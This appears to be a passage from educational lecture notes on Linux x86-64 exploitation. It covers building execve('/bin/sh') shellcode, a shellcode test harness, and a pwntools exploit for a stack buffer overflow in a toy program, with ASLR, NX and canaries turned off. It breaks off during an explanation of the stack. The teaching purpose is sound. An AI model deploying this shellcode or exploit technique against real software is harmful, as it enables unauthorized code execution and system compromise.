bit architecture are in: /usr/src/linux-headers-4.15.0-52-generic/arch/x86/include/generated/uapi/asm/unistd_32.h.) Build Simple Example: exitcode In this example, we are going to build an assembly program to invoke the exit system call. Let’s start by looking at the manual $ man exit. (By doing $ man exit you are actually looking at the C function wrapper around the system call but the semantic and order of the parameters are kept.) This function terminates the running program and returns the integer passed as first parameter. To find the number of the exit system call we need to look at the unistd_64.h file. (Looking at the unistd_64.h file, the exit system call number is 60.) The system call number needs to place in the rax register. Now let’s write a simple assembly program with to invoke the exit system call: ; file: exit64.asm global _start section .text _start: mov rax, 0x3c mov rdi, 0x05 syscall In line 6, 0x3c is the hexadecimal number for the decimal number 60 i.e., the exit system call number. In line 7, 0x05 is the 1st parameter of the exit system call (i.e., the value returned when the program ends). Let’s now compile the code as: $ nasm -f elf64 -o exit64.o exit64.asm $ ld -o exit64 exit64.o If we execute the exit64 we can now see that the return value is indeed 5: $ ./exit64 $ echo $? 5 To test this program we can place its machine code into a test program (as in How to Test a Shellcode) To extract the machine code generated we can observe the decompiled code $ objdump -M intel -d exit64 exit64: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: b8 3c 00 00 00 mov eax,0x3c 400085: bf 05 00 00 00 mov edi,0x5 40008a: 0f 05 syscall $ The hexadecimal numbers in line 9, 10 and 11 (after the address) are the machine code generated from the assembly instructions that are shown in the same line. This is what you want to copy to the test program, i.e.: b8 3c 00 00 00 bf 05 00 00 00 0f 05. If you want to try to run this exitcode in a C test program follow How to Test a Shellcode. To enter an hexadecimal string into a C string use \x before the number, therefore the exitcode will be \xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05. What happen if you try to give this string in input to a program that has a buffer overflow vulnerability? Will this work? Try it on Basic Stack-Based Buffer Overflow) It will not work. Why? To give this string as input to a program we need few more things to take into account. In C a strings end with the null byte i.e., \0 i.e., \x00. The functions that interact with the user to input data stop when they reach the end of the string. (see man page for ) We can immediately see that the exit code contains a lot of null bytes and therefore the complete code will not be copied entirely by those functions. In circumstances the null bytes are not a problem but this is dependent on the input method used by a program. How to avoid null bytes? Let’s revise the exitcode: ; file: exit64_nnb.asm global _start section .text _start: mov al, 0x3c xor rdi,rdi inc di inc di inc di inc di inc di syscall With objdump we can see that this assembly code does not produce any null bytes: objdump -M intel -d ./exit64_nnb ./exit64_nnb: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: b0 3c mov al,0x3c 400082: 48 31 ff xor rdi,rdi 400085: 66 ff c7 inc di 400088: 66 ff c7 inc di 40008b: 66 ff c7 inc di 40008e: 66 ff c7 inc di 400091: 66 ff c7 inc di 400094: 0f 05 syscall This is the code that we are able to give in input to a function that reads input data. Build the shellcode The easiest way to launch a shell is to invoke a the execve system call with the appropriate parameters (see $ man execve). The syscall execve wants 3 parameters. The first points to a string that is the path of the program that needs to be executed. The second parameter is an array of string pointers that point to the command line arguments of the program passed as first parameter. The third parameter is an array of environment variables as string. We want to launch the shell \bin\sh with no arguments. Let’s see the code that opens a shell by invoking an execve: ; file: execve64.asm global _start section .text _start: xor rdi,rdi xor rsi,rsi xor rdx,rdx mov rdi,0x68732f6e69622f2f shr rdi,0x08 push rdi push rsp pop rdi push 0x3b pop rax syscall As described in the Background Information, the system call number needs to be placed in rax, while the parameters in rdi, rsi and then rdx. To correctly fill rdi with the first parameter we need a pointer to the string \bin\sh. This is achieved in line 10, 11 and 12. In line 10, I am moving into rdi the value 0x68732f6e69622f2f. This number is the hexadecimal equivalent of the string hs/nib//. This is the reverse string of //bin/sh (i.e., a shell string). Why the reverse string? If the architecture is little endian a number will be stored in a 8 bytes memory location starting to fill the smallest part of the memory first. In this way the hexadecimal byte 0x68 (of the value 0x68732f6e69622f2f) will be stored in the right most part of a memory, as: After executing line 12, the rsp will point to the first byte of the string, as: (You can see the byte order of your architecture with the command $ lscpu.) In line 11, I am shifting the string by 8 bits to the right. Why? Because this will fill the left hand side of the rdi register with zeros. Why this matter? Because every string in C is null terminated (i.e., terminated by a zero byte). I could have used the value of 0x68732f6e69622f00 in line 10 but this will generate a null byte in the machine code that is better to avoid if we aim to use this code as a string. In line 12, I am pushing the shell string to the stack. Why? On a running program, after executing line 12, the stack pointer register rsp will point to the shell string that is in the stack. For this reason, in line 13 I am saving the address of the stack pointer (rsp) by pushing it to the stack and, in line 14, I am popping out this address to the rdi register (i.e., the first parameter of the execve system call). In line 6,7 and 8 I am cleaning the registers (i.e., setting them to zero). In this way the second and third parameters are already set because we do not need to invoke the shell with any arguments and we do not need environment variables in this case. In line 17 and 18 I am placing the value 0x3b to the register rax because 0x3b is the value of the execve system call (see how to find this number in Background Information). Now, the last thing we need to do is to compile the code and extract the machine code generated, as: $ nasm -f elf64 -o execve64.o execve64.asm $ ld -o execve64 execve64.o $ objdump -M intel -d ./execve64 ./execve64: file format elf64-x86-64 Disassembly of section .text: 0000000000400080 <_start>: 400080: 48 31 ff xor rdi,rdi 400083: 48 31 f6 xor rsi,rsi 400086: 48 31 d2 xor rdx,rdx 400089: 48 bf 2f 2f 62 69 6e movabs rdi,0x68732f6e69622f2f 400090: 2f 73 68 400093: 48 c1 ef 08 shr rdi,0x8 400097: 57 push rdi 400098: 54 push rsp 400099: 5f pop rdi 40009a: 6a 3b push 0x3b 40009c: 58 pop rax 40009d: 0f 05 syscall To test this program we can place its machine code into a test program (as in How to Test a Shellcode). As we can see, there are no null bytes in the generated machine code, therefore this shellcode is suitable to be used as input in a buffer overflow, try it out on Basic Stack-Based Buffer Overflow. There are several ways to generate a shellcode and this one is just an example. The challenge in shellcoding is to write the smallest possible shellcode. This is the end of this shellcoding walkthrough. I hope it was helpful, additional resources follows. Additional resources More to read about syscall: https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux More to read about exit system call: https://en.wikipedia.org/wiki/Exit_(system_call)

How to Test a Shellcode

A shellcode is a piece of compiled code that is typically given as input to a program that, when executed, is going to launch a shell (see Build Your Own Shellcode). To test a shellcode we are going to used the following code: // filename: test_shellcode.c char *code = "<shellcodegoeshere>"; int main() { void (*shell)(); shell=(void (*)())code; (*shell)(); } In line 2, we are going to copy the shellcode that we want to test. In line 5, we are declaring the variable shell as a pointer to a function that returns void and that takes no arguments. In line 6, we are casting the string pointer code to the same type of the variable shell (i.e.: a function that returns void and that takes no arguments.) In line 7, we are calling the function pointed by the shell variable (passing no parameters). Once we filled the code variable with the shellcode (in line 1), we can compile the program and run it as: $ gcc -o test_shellcode test_shellcode.c $ ./test_shellcode In this way we can understand if the shellcode will work on the current system. To give a shellcode in input to a program in order to execute it we have to be careful about few more things as explained in Build Your Own Shellcode. Understanding the test program The content pointed by the variable code is going to be allocated in an executable portion of the memory layout. The command $ readelf -a ./test_shellcode gives a lot of information. Let’s try to brake it down for easy to digest. If we examine the symbol tables $ readelf -s ./test_shellcode we can see something like this: Symbol table '.symtab' contains 62 entries: Num: Value Size Type Bind Vis Ndx Name 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND 1: 0000000000000238 0 SECTION LOCAL DEFAULT 1 2: 0000000000000254 0 SECTION LOCAL DEFAULT 2 3: 0000000000000274 0 SECTION LOCAL DEFAULT 3 ......... 59: 0000000000000000 0 FUNC WEAK DEFAULT UND __cxa_finalize@@GLIBC_2.2 60: 00000000000004d0 0 FUNC GLOBAL DEFAULT 10 _init 61: 0000000000201010 8 OBJECT GLOBAL DEFAULT 22 code In line 10, the symbol code is shown with a Value of 0000000000201010. The Value column represent the address of the symbol. The command $ readelf -S ./test_shellcode shows the header sections of the ELF file: Section Headers: [Nr] Name Type Address Offset Size EntSize Flags Link Info Align [ 0] NULL 0000000000000000 00000000 0000000000000000 0000000000000000 0 0 0 [ 1] .interp PROGBITS 0000000000000238 00000238 000000000000001c 0000000000000000 A 0 0 1 [ 2] .note.ABI-tag NOTE 0000000000000254 00000254 0000000000000020 0000000000000000 A 0 0 4 ...... [21] .got PROGBITS 0000000000200fc0 00000fc0 0000000000000040 0000000000000008 WA 0 0 8 [22] .data PROGBITS 0000000000201000 00001000 0000000000000018 0000000000000000 WA 0 0 8 [23] .bss NOBITS 0000000000201018 00001018 0000000000000008 0000000000000000 WA 0 0 1 Here, we can see that the .data section has an address of 0000000000201000 and a size of 0000000000000018. The symbol code is defined as the address of 0000000000201010 i.e., inside the .data section. We could have gather the same information by running $ objdump -t ./test: SYMBOL TABLE: 0000000000000238 l d .interp 0000000000000000 .interp 0000000000000254 l d .note.ABI-tag 0000000000000000 .note.ABI-tag 0000000000000274 l d .note.gnu.build-id 0000000000000000 .note.gnu.build-id 0000000000000298 l d .gnu.hash 0000000000000000 .gnu.hash 00000000000002b8 l d .dynsym 0000000000000000 .dynsym ...... 0000000000000000 w *UND* 0000000000000000 _ITM_registerTMCloneTable 0000000000000000 w F *UND* 0000000000000000 __cxa_finalize@@GLIBC_2.2.5 00000000000004d0 g F .init 0000000000000000 _init 0000000000201010 g O .data 0000000000000008 code In line 11, we can see that the symbol code is declared in the section .data. To know the permission that a section has, we can have to look at the Program Headers and at the Section to Segment mapping by running $ readelf -a ./test_shellcode: Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align PHDR 0x0000000000000040 0x0000000000000040 0x0000000000000040 0x00000000000001f8 0x00000000000001f8 R 0x8 INTERP 0x0000000000000238 0x0000000000000238 0x0000000000000238 0x000000000000001c 0x000000000000001c R 0x1 [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2] LOAD 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000818 0x0000000000000818 R E 0x200000 LOAD 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000228 0x0000000000000230 RW 0x200000 DYNAMIC 0x0000000000000e00 0x0000000000200e00 0x0000000000200e00 0x00000000000001c0 0x00000000000001c0 RW 0x8 NOTE 0x0000000000000254 0x0000000000000254 0x0000000000000254 0x0000000000000044 0x0000000000000044 R 0x4 GNU_EH_FRAME 0x00000000000006d4 0x00000000000006d4 0x00000000000006d4 0x000000000000003c 0x000000000000003c R 0x4 GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 0x0000000000000000 RW 0x10 GNU_RELRO 0x0000000000000df0 0x0000000000200df0 0x0000000000200df0 0x0000000000000210 0x0000000000000210 R 0x1 Section to Segment mapping: Segment Sections... 00 01 .interp 02 .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame 03 .init_array .fini_array .dynamic .got .data .bss 04 .dynamic 05 .note.ABI-tag .note.gnu.build-id 06 .eh_frame_hdr 07 08 .init_array .fini_array .dynamic .got Here we can see that the .data section is mapped into the segment 03 (i.e., the 4th segment). Under the “Program Header” we can count the segments from the top; the first is PHDR segment, the second is INTERP and the fourth is LOAD with permission to read and to write (but not execute!). If we don’t have the execute permission, how come that we are able to run the code?? Let’s run the code in GDB to clarify this point (I am using GEF): Reading symbols from ./test_shellcode...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x61e gef➤ r Starting program: /home/pippo/ctf/lectures/build_shellcode/test Breakpoint 1, 0x000055555555461e in main () gef➤ info address code Symbol "code" is at 0x555555755010 in a file compiled without debugging. gef➤ x/1g 0x555555755010 0x555555755010 <code>: 0x5555555546c4 gef➤ x/1g 0x5555555546c4 0x5555555546c4: 0x5bf0000003cb8 In line 7, we are printing the address of the global variable code that is located 0x555555755010 (as shown in line 8). This variable is a pointer to the location of memory 0x5555555546c4 (line 10). To understand what are the permission of those different memory locations we can run gef➤ vmmap: gef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /home/pippo/ctf/lectures/build_shellcode/test_shellcode 0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so 0x00007ffff7dd1000 0x00007ffff7dd5000 0x0000000000000000 rw- 0x00007ffff7dd5000 0x00007ffff7dfc000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7fcd000 0x00007ffff7fcf000 0x0000000000000000 rw- 0x00007ffff7ff7000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000027000 r-- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000028000 rw- /lib/x86_64-linux-gnu/ld-2.27.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] (gef➤ vmmap is exactly the same of running cat /proc/{process_id}/maps, where process_id is the process of the debugged program. To obtain the process id of the currently running debugged program run info inferior.) In lines 3,4 and 5 we can see that there are 3 memory regions that map the test_shellcode executable with different permissions. We can see that the variable code (0x555555755010) is located in a memory region that has read and write permissions, in line 5. This is the same information that we obtained previously by reading the ELF file (with the readelf command). We can also see that the address pointed by the variable code (0x5555555546c4) is located in a memory region that has read and execute permission, in line 3. Alternative test code Sometimes over the Internet you see code like this: int main(){ char code[]= "\xb8\x3c\x00\x00\x00\xbf\x05\x00\x00\x00\x0f\x05"; void (*shell)(); shell=(void (*)())code; (*shell)(); //shell(); } Here, the code variable is declared inside the main function and it is NOT a pointer. This code WILL NOT work if compiled with: $ gcc -o test_shellcode ./test_shellcode.c The code will compile correctly but it will produce Segmentation fault when executed. The reason is simple, the code variable is located in the stack and since it is a non-executable memory region, if an instruction tries to execute from here the system will produce a segmentation fault. This code WILL work if compiled by passing the flag to make the stack executable: $ gcc -o test_shellcode -z execstack ./test_shellcode.c (Alternatively we can also use the execstack tool to change the executable stack flag of an ELF file.)

Stack

Format String Vulnerability

TODO

Basic Stack-Based Buffer Overflow

In this article, I am going to show how to exploit a stack-based buffer overflow and the conditions that make this possible. For the purpose of this exercise, we are going to switch off 3 security features: Address Space Layout Randomization (ASLR) Non-executable stack (aka stack execution prevention, aka NX Bit) Stack canary (aka stack-protector) How to switch off ASLR To switch off ASLR: $ sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' (Note that I didn’t do sudo echo 0 > /proc/sys/kernel/randomize_va_space because the output redirection command > will be performed as standard user but we need root permission to perform this operation.) How to switch off non-executable stack and stack canary security features To switch off the non-executable stack and the stack canary protections, we need to compile the program as follow: $ gcc -fno-stack-protector -z execstack -o overflow64 overflow64.c The use of the option -z execstack will prevent stack to be non-executable (i.e., it will be executable) while the option -fno-stack-protector disable the stack canary protection. Stack-based buffer overflow scheme The overflow of a variable positioned in the stack occurs when an operation is performed without checking the details of such operation resulting in a writing beyond the boundaries of such variable. When an operation write data on a buffer based on the stack beyond its limits, this operation can cause the overwriting of the return address of the function where this variable is allocated. This is because, as explained in The Stack, the local variables are above the return address as shown in the picture below. How we can exploit this situation? What can we write into the stack? The left stacks in both images represent a normal stack. The right stacks in both images represent a stack after the unsafe write operation. The unsafe operation started to write data from the top of the stack (where the stack variable is stored) and continue beyond its limit to overwrite the return address of the same function. This address is where the program expect to find the return address of the function. By overwriting this address we are able to to diverge the execution of the program. In this image, we can see that in the stack is written also some nop slides before the shellcode. These are only a series of nop operations, i.e., no-operation operation (0x90 in machine code). We use nop slide because sometimes it is difficult to the jump to the start of the shellcode. In this way it is possible to jump approximately before it. The nop operation is 1 byte long, and jumping to any byte address where these operations are located will not cause any error. This instruction is used because it does not do anything and it moves to the next operation. At the end of the nop slide the shellcode will be located and executed. The program to exploit This is the source code of the program that we are going to exploit: // file: overflow64.c #include<stdio.h> int main(int argc, char* argv[]) { char buff[20]; scanf("%s", buff); return 0; } In line 7, there is a vulnerable operation. Why vulnerable? Because it does not check the boundaries of the arrays that are being copied (check man scanf). Let’s compile this program as described in previously. The first thing we need to do is to crash the program. If we input more than 20 characters the program crash: $ ./overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Segmentation fault (core dumped) We can see that the terminal reports Segmentation fault. Let’s try to get a bit more details on this crash. The next step is to understand why it is crashing. By running dmesg: $ dmesg | tail ...... [13401.299114] overflow64[16566]: segfault at 616161616161 ip 0000616161616161 sp 00007fffffffddb0 error 14 in libc-2.27.so[7ffff79e4000+1e7000] The logs shown by dmesg show that the program named “overflow64” received a segfault (segmentation fault) when trying to access a memory location with address 616161616161. (When we run the program, we input a lot of “a” that in ASCII are represented with the hexadecimal value of 0x61. Is it a coincidence? Spoiler alert: no.) This happen because the program is trying to access a memory address that is not supposed to. Giving in input more “a"s we can incur in a different dmesg message: $ dmesg | tail ...... [13747.451995] traps: overflow64[16766] general protection ip:555555554697 sp:7fffffffdda8 error:0 in overflow64[555555554000+1000] In this case the message is referring to a general protection. What is this? In x86_64 bit architecture the maximum canonical address is currently 0x00007fffffffffff. Therefore even if an address is 64 bit long, current processor use only 48 bits of those. This was done because 48 bit address gives already an address space of 256 terabytes, therefore it will be enough for quite a long future. Therefore instead of wasting hardware and power resources, the hardware manufactures decided this way. The architecture design support 64 bit but the current hardware implementations do not. To gather even more information on the crash we can run the program within GDB. For this purpose I use GEF to have an easier access to debug information. $ gdb -q ./overflow64 GEF for linux ready, type `gef` to start, `gef config` to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x0 $rcx : 0x00007ffff7dd0560 → 0x00007ffff7dcc580 → 0x00007ffff7b9996e → 0x636d656d5f5f0043 ("C"?) $rdx : 0x00007ffff7dd18d0 → 0x0000000000000000 $rsp : 0x00007fffffffdcd8 → "aaaaaaaaaaaaaaaaaa" $rbp : 0x6161616161616161 ("aaaaaaaa"?) $rsi : 0x1 $rdi : 0x0 $rip : 0x0000555555554697 → <main+45> ret $r8 : 0x0 $r9 : 0x0 $r10 : 0x0 $r11 : 0x0000555555554726 → add BYTE PTR [rax], al $r12 : 0x0000555555554560 → <_start+0> xor ebp, ebp $r13 : 0x00007fffffffddb0 → 0x0000000000000001 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcd8│+0x0000: "aaaaaaaaaaaaaaaaaa" ← $rsp 0x00007fffffffdce0│+0x0008: "aaaaaaaaaa" 0x00007fffffffdce8│+0x0010: 0x00007fffff006161 ("aa"?) 0x00007fffffffdcf0│+0x0018: 0x0000000100008000 0x00007fffffffdcf8│+0x0020: 0x000055555555466a → <main+0> push rbp 0x00007fffffffdd00│+0x0028: 0x0000000000000000 0x00007fffffffdd08│+0x0030: 0x7d8cd030cadb6f2f 0x00007fffffffdd10│+0x0038: 0x0000555555554560 → <_start+0> xor ebp, ebp ─────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555555468c <main+34> call 0x555555554540 <__isoc99_scanf@plt> 0x555555554691 <main+39> mov eax, 0x0 0x555555554696 <main+44> leave → 0x555555554697 <main+45> ret [!] Cannot disassemble from $PC ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "overflow64", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0x555555554697 → main() ──────────────────────────────────────────────────────────────────────────────── 0x0000555555554697 in main () In line 47, this program stopped because received the SIGSEGV i.e., segmentation fault (see man 7 signal for more information on signals). In lines 41-45, you can see code information. You can see that the program stopped at the ret instruction. In lines 12-30, you can see registers information. In lines 32-39, you can see stack information. In line 7, we can see the input that we fed to the program. The ret takes the address pointed by the stack pointer (rsp) and continue the execution from there. The address that the program is trying to jump to is an invalid address that we overwrite when we overflow the address. Our goal is to be able to write in this address an arbitrary address so that we can divert the execution. We need to write an address that when executed its content will eventually execute our shellcode. With the help of GDB we can break in the main function and have a look at the stack address of the function: $ gdb -q ./overflow64 GEF for linux ready, type `gef` to start, `gef config` to configure 73 commands loaded for GDB 8.1.0.20180409-git using Python engine 3.6 Reading symbols from ./overflow64...(no debugging symbols found)...done. gef➤ b main Breakpoint 1 at 0x66e gef➤ r Starting program: /home/pippo/ctf/lectures/basic_buffer_overflow/overflow64 ...... ──────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffdcc0│+0x0000: 0x00005555555546a0 → <__libc_csu_init+0> push r15 ← $rsp, $rbp 0x00007fffffffdcc8│+0x0008: 0x00007ffff7a05b97 → <__libc_start_main+231> mov edi, eax 0x00007fffffffdcd0│+0x0010: 0x0000000000000001 0x00007fffffffdcd8│+0x0018: 0x00007fffffffdda8 → 0x00007fffffffe12f → "/home/pippo/ctf/lectures/basic_buffer_overflow/ove[...]" 0x00007fffffffdce0│+0x0020: 0x0000000100008000 0x00007fffffffdce8│+0x0028: 0x000055555555466a → <main+0> push rbp 0x00007fffffffdcf0│+0x0030: 0x0000000000000000 0x00007fffffffdcf8│+0x0038: 0x34f880d1fbfab7e5 ────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x555555554665 <frame_dummy+5> jmp 0x5555555545d0 <register_tm_clones> 0x55555555466a <main+0> push rbp 0x55555555466b <main+1> mov rbp, rsp → 0x55555555466e <main+4> sub rsp, 0x30 0x555555554672 <main+8> mov DWORD PTR [rbp-0x24], edi 0x555555554675 <main+11> mov QWORD PTR [rbp-0x30], rsi 0x555555554679 <main+15> lea rax, [rbp-0x20] 0x55555555467d <main+19> mov rsi, rax 0x555555554680 <main+22> lea rdi, [rip+0x9d] # 0x555555554724 ...... Breakpoint 1, 0x000055555555466e in main () (The snippet shows only the interesting parts.) In line 11, we can see that the stack is currently at position 0x00007fffffffdcc0. The space of the local variable have not been allocated yet as shown in line 23. When we overflow the local variables we are going to write our shellcode around this address. In order to execute the shellcode we need to overwrite the return address of the function with our crafted address. The location of the return address to overwrite is relative to the buffer that we are overflowing depends on many things. It depends on the size of other local variables (and their positions compared to the overflowed one) the stack alignment, and to the presence of the stack canary. The best way to find the correct location is to try to input increasingly number of input until we can see that we overwrite the return address of the function. Once we find the offset of the return address, we need to point it to the shellcode. We have already found the location near where the shellcode will be located. What needs to be placed in the stack is a nop slide to help to reach our shellcode as shown previously. This is achieved with the following code (I am using Pwntools): # filename: exploit_overflow64.py from pwn import * import sys # process name to exploit process_path = "./overflow64" shellcode = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f" shellcode += "\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57" shellcode += "\x54\x5f\x6a\x3b\x58\x0f\x05" # return address obtained by adding 0x30 to the top of the stack # maximum canonical address size is 0x00007FFFFFFFFFFF ret_addr = "\x00\x00\x7f\xff\xff\xff\xdd\x50"[::-1] payload = "A"*40 + ret_addr payload += "\x90" * 500 + shellcode # Writing payload to file to be used elsewhere (e.g., GDB) f = open("payload", 'w') f.write(payload) f.close() # start the program proc = process(process_path) # send payload proc.sendline(payload) # we need interact with the spawned shell proc.interactive() proc.close() In line 16, we can see that I am preparing the input to the scanf function writing 40 “A”, then the return address, then 500 nop operations and finally the shellcode. Now can can give the input to the function that will overflow the variable and write the correct return address. We can run it on GDB and break it just after the scanf function our stack will look like this: gef➤ dereference $rsp 20 0x00007fffffffdc90│+0x0000: 0x00007fffffffdda8 → 0x9090909090909090 ← $rsp 0x00007fffffffdc98│+0x0008: 0x0000000100000000 0x00007fffffffdca0│+0x0010: 0x4141414141414141 0x00007fffffffdca8│+0x0018: 0x4141414141414141 0x00007fffffffdcb0│+0x0020: 0x4141414141414141 0x00007fffffffdcb8│+0x0028: 0x4141414141414141 0x00007fffffffdcc0│+0x0030: 0x4141414141414141 ← $rbp 0x00007fffffffdcc8│+0x0038: 0x00007fffffffdd50 → 0x9090909090909090 0x00007fffffffdcd0│+0x0040: 0x9090909090909090 0x00007fffffffdcd8│+0x0048: 0x9090909090909090 0x00007fffffffdce0│+0x0050: 0x9090909090909090 The address below the rbp is the one that contains the return address that we overwrite when we overflow the variable and now it points to a location where nop are store. At the end of the nop there is the shellcode, when executed, the program is going to eventually execute the shellcode that was our initial goal

The Stack

In this article I want to describe how the stack works and how it is structured. Background information The stack is a LIFO (Last In First Out) data structure used to store information about functions of a running program. The information store in the stack follow some specifications, for x86-64 architecture the System V ABI (Application Binary Interface) is a set of specification that define libraries, function, executable, how these elements interact with each other and much more. System V ABI For x86-64 architecture the System V ABI defines (among other things): The stack grows towards low memory locations. The registers RDI, RSI, RDX, RCX, R8, R9 (in this order) are used to pass parameters to a function (this different than in 8086 architecture). If a function requires more parameters they will be pushed into the stack. The stack alignment is 16 bytes Conceptually, on x86-64 architecture the stack looks like this: **Conceptually the stack looks like this:** -- Let’s now run an example program and check what is actually stored in the stack. The example program The program that we are going to execute is: // file: example64.c int function(int a, int b) { int c; c = a * b; return c; } int main(int argc, char* argv[]) { int d; d = function(7,15); return d; } I am going to compile the code as : $ gcc -mpreferred-stack-boundary=4 -fno-stack-protector -o example64 example64.c When decompiled the main function looks like: Dump of assembler code for function main: 0x0000000000000613 <+0>: push rbp 0x0000000000000614 <+1>: mov rbp,rsp 0x0000000000000617 <+4>: sub rsp,0x20 0x000000000000061b <+8>: mov DWORD PTR [rbp-0x14],edi 0x000000000000061e <+11>: mov QWORD PTR [rbp-0x20],rsi 0x0000000000000622 <+15>: mov esi,0xf 0x0000000000000627 <+20>: mov edi,0x7 0x000000000000062c <+25>: call 0x5fa <multiplication> 0x0000000000000631 <+30>: mov DWORD PTR [rbp-0x4],eax 0x0000000000000634 <+33>: mov eax,DWORD PTR [rbp-0x4] 0x0000000000000637 <+36>: leave 0x0000000000000638 <+37>: ret End of assembler dump. In line 5 and 6 we can see that the parameters passed to the main function are store in two memory locations [rbp-0x14] and [rbp-0x20]. In fact, in Background Information you can see that the first two parameters are passed in register rdi and rsi. In line 7 and 8 we can see that the function parameter 15 and 7 are being positioned in the rdi and rsi registers before the call of the multiplication function (they are stored in esi and edi that are the lowest 32 bit parts of the 64 bit registers rdi and rsi ). Set a breakpoint in line 8, .i.e., just before the call to the multiplication function. When the program hit the breakpoint the stack will look like this: gef➤ dereference $rsp 5 0x00007fffffffdd20│+0x0000: 0x00007fffffffde28 → 0x00007fffffffe1af → "/home/pippo/example64" ← $rsp 0x00007fffffffdd28│+0x0008: 0x00000001555544f0 0x00007fffffffdd30│+0x0010: 0x00007fffffffde20 → 0x0000000000000001 0x00007fffffffdd38│+0x0018: 0x0000000000000000 0x00007fffffffdd40│+0x0020: 0x0000555555554640 → <__libc_csu_init+0> push r15 ← $rbp In line 2, it is shown the result of the instruction DWORD PTR [rbp-0x20],rsi (in line 6 of the disassembled main). The memory value is the second parameter of the function main, in fact it was stored in register edi, i.e., the register that contains the second parameter of function call. The memory location rbp-0x20 points to the byte with value 0x28 (i.e., the right most byte of the value 0x00007fffffffde28). Remember that we are in a little-endian architecture so the address with value 0x00007fffffffde28 will store its lowest byte in the highest position in memory. We also need to remember also that the stack grows towards lower memory locations. In line 3, there is the result of the instruction DWORD PTR [rbp-0x14],edi (in line 6 of the disassembled main). In the stack is copied only 4 bytes, i.e., edi (DWORD). In line 5, this is the space used to store the local variable d as shown in line 11 of the C code. As you can see, it is declared as int, i.e., it occupy 4 bytes. If we sum up the 4 bytes used to store the argc + the 8 bytes of the argv[] + the 4 bytes of the d variable the total is only 16 bytes. Why the program is allocating 32 bytes sub rsp,0x20 (in line 4 of the disassembled main)?. Although, argc is passed in the register edi that is 4 bytes, the stack reservation is for the full register i.e., 8 bytes. Furthermore, the program has been compiled with the option -mpreferred-stack-boundary=4 that align the stack to multiple of 2^4 bytes i.e., 16 bytes. Therefore, the only option was to allocate the nearest multiple of 16 bytes i.e., 32 bytes (or 0x20 bytes). GDB tip. In GDB, it’s easy to get confused regarding the position of each byte because they are usually display in groups of 8 bytes. To have a visual graphical representation of the memory location, you can follow this sign: Here, the address on the left, points to the right most byte on the right, that is also the lowest memory address on the line. Following the arrow to reach the top of the stack, that means going toward low memory addresses. Continue the example. Let’s now see what does the multiplication function looks like when disassembled: gef➤ disassemble multiplication Dump of assembler code for function multiplication: 0x00000000000005fa <+0>: push rbp 0x00000000000005fb <+1>: mov rbp,rsp 0x00000000000005fe <+4>: mov DWORD PTR [rbp-0x14],edi 0x0000000000000601 <+7>: mov DWORD PTR [rbp-0x18],esi 0x0000000000000604 <+10>: mov eax,DWORD PTR [rbp-0x14] 0x0000000000000607 <+13>: imul eax,DWORD PTR 